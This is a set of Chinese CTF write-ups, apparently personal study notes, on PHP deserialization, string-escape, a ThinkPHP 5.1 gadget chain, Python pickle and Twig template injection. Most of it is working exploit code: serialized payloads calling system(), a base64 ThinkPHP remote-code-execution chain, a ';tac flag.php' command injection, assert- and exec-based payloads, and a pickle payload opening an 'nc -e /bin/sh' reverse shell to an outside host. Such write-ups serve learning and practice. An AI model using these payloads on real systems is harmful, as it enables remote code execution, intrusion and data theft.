UNSERIALIZE4
*魔术方法的调用
<?php
class test{
public $peguin;
public $source;
public $file
public function __construct($file){
$this->source = $file;
echo 'welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->peguin->close();
}
public function __wakeup(){
if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
echo "hacker!";
$this->source = "index.php";
}
}
}
class good{
public $joker;
public function __call($name,$param){
system($this->joker);
}
}
?>
0x01:先验知识
__call() 当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息
__call() //在对象上下文中调用不可访问的方法时触发
__wakeup()函数 该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作 (这题要绕过这个魔术方法
0x02:代码审计
#
public function __construct($file){
$this->source = $file;
echo 'welcome to '.$this->source."<br>";
}
#当用到__toString魔术方法的时候会调用close方法,但是close方法并没有定义,或者是被没有权限调用,这个时候就会自动调用__call魔术方法,实现命令执行
public function __toString(){
return $this->peguin->close();
}
#这样就要求$this->source必须是字符串
public function __wakeup(){
if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
echo "hacker!";
$this->source = "index.php";
}
}
public function __call($name,$param){
system($this->joker);
}
#wakeup魔术方法有漏洞
public function __wakeup(){
if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
echo "hacker!";
$this->source = "index.php";
}
}
0x03:解题
分析完代码之后的答题思路:
1.peguin=new good();
2.$this->source是字符串 然后调用__toString 返回没有定义的close()
3.调用了__call 执行system
wakeup在反序列化之前立即调用
而在调用这个函数的时候,如果source是一个字符串就会进行正则匹配,但如果source是一个类,则会先去找到source指向的类,php会先去寻找这个类中的__toString
这个方法,那么就可以把source指向test类,执行test里面的方法
但是source又是字符串所以可以
$source=new test('');
因为之前在source这个点上卡住了,没想到指向类test再寻找toString方法,想着直接让source是字符串了 感谢姜少的poc
姜少的poc:
<?php
class test{
public $peguin;
public $source;
public function __construct($file){
$this->source =$file;
$this->peguin = new good();
}
}
class good{
public $joker;
public function __construct(){
$this->joker = 'tac flag.php';
}
}
$a = new test(new test(''));
echo urlencode(serialize($a));
?>
看了姜少的poc之后才想起来做过类似的题目
([MRCTF]ezpop
CTFSHOW-反序列化
web264
*字符串逃逸
*序列化和session
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
0x01:代码审计
根据message.php
可知需要将token等于admin
if($msg->token=='admin'){
echo $flag;
}
index.php
中存在
$umsg = str_replace('fuck', 'loveU', serialize($msg));
在字符串替换的时候出现字符串变长的情况,所以出现了字符串逃逸的漏洞
0x02:解题
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
因为还有
if(isset($_COOKIE['msg']))
所以还要cookie随便传一个msg,再访问message.php就可以了
web265
*地址相同
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
0x01:代码审计
public function login(){
return $this->token===$this->password;
}
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
重点在于这几行代码,要求token===password
成立,但是token后来有等于随机数,以为源码中没有mt_srand()
函数的出现,所以不是伪随机数,那么这么时候可以让password的地址等于token,这样的就会让等式永真
0x02:解题
poc:
<?php
class ctfshowAdmin{
public $token;
public $password;
}
$a=new ctfshowAdmin();
$a->password=&$a->token;
echo serialize($a);
//O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}
得到flag
web266
源码:
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
0x01:代码审计
//可以抓包
$cs = file_get_contents('php://input');
`php://input`是个可以访问请求的原始数据的只读流。`enctype="multipart/form-data"` 的时候 php://input 是无效的。
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
当异常被抛出时,其后的代码不会继续执行,PHP 会尝试查找匹配的 "catch" 代码块。
如果异常没有被捕获,而且又没用使用 set_exception_handler() 作相应的处理的话,那么将发生一个严重的错误(致命错误),并且输出 "Uncaught Exception" (未捕获异常)的错误消息。
Try, throw 和 catch(通常跑出错误,一般会跟try catch配合使用)
所以如果正则匹配到的话,__destruct
魔术方法就不会被调用
但是发现正则只是preg_match('/ctfshow/', $cs)
,对大小写是敏感的,所以只要将ctfshow大写就可以绕过正则了
0x02:解题
poc:
class ctfshow{
}
$a=new ctfshow();
echo serialize($a);
//O:7:"CTFSHOW":0:{}
?web274
*thinkphp5
thinkphp5.1.x~5.2.x版本反序列化链挖掘分析
(等看懂了再记录自己的理解
poc:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
?lin=cat /f*
&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19
web275
源码:
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
0x01:代码审计
#post
$content = file_get_contents('php://input');
#对象被销毁的时候调用,只要使得$this->evilfile为true就行了
#fn传执行的命令
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
#只要有一个满足就行了,但是因为filename是要执行的命令,所以filecontent要满足
0x02:解题
?fn=;tac flag.php
content=flag
web277
*python反序列化漏洞
python反序列化漏洞:
原因:
利用:
<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->
大佬的payload:
import pickle
import base64
class A(object):
def __reduce__(self):
return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4567 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))
[NPUCTF2020]ReadlezPHP
*反序列化
view-source之后发现
那么就直接访问/time.php?source
得到php源码:
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
echo serialize($c);
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
代码审计:
#当对象被销毁的时候会执行 $b($a)
#由此我们可知$b会是一个函数
#$a是我们要执行的代码
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
poc:
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
}
$c = new HelloPhp;
echo serialize($c);
//O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
payload:
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
ctrl+f搜索flag即可找到flag
[BJDCTF]Cookie is so stable
*模板注入–Twig
参考:
https://www.cnblogs.com/wangtanzhi/p/12330542.html
https://www.cnblogs.com/wkzb/p/12422190.html
https://blog.youkuaiyun.com/qq_41628669/article/details/106133130
https://www.cnblogs.com/zzjdbk/p/13049923.html
搬运模板注入过程:
Twig
{{7*'7'}} #输出49
Jinja
{{7*'7'}} #输出7777777
测试:
所以可以确定是Twig模板注入
在 Twig 模板引擎里,{{ var }} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值
Twig 模板引擎在编译模板的过程中会计算 {{2*10}} 中的表达式 2*10 ,会将其返回值 20
相比于 Smarty ,Twig 无法调用静态方法,并且所有函数的返回值都转换为字符串,也就是我们不能使用 self:: 调用静态变量了,但是Twig 给我们提供了一个 _self, 虽然 _self 本身没有什么有用的方法,但是却有一个 env
env是指属性Twig_Environment对象,Twig_Environment对象有一个 setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置(不知道为什么官方文档没有看到这个方法,后来我找到了Twig 的源码中的 environment.php
根据hint
说明注入点再cookie,进行抓包
payload1:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
payload2:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}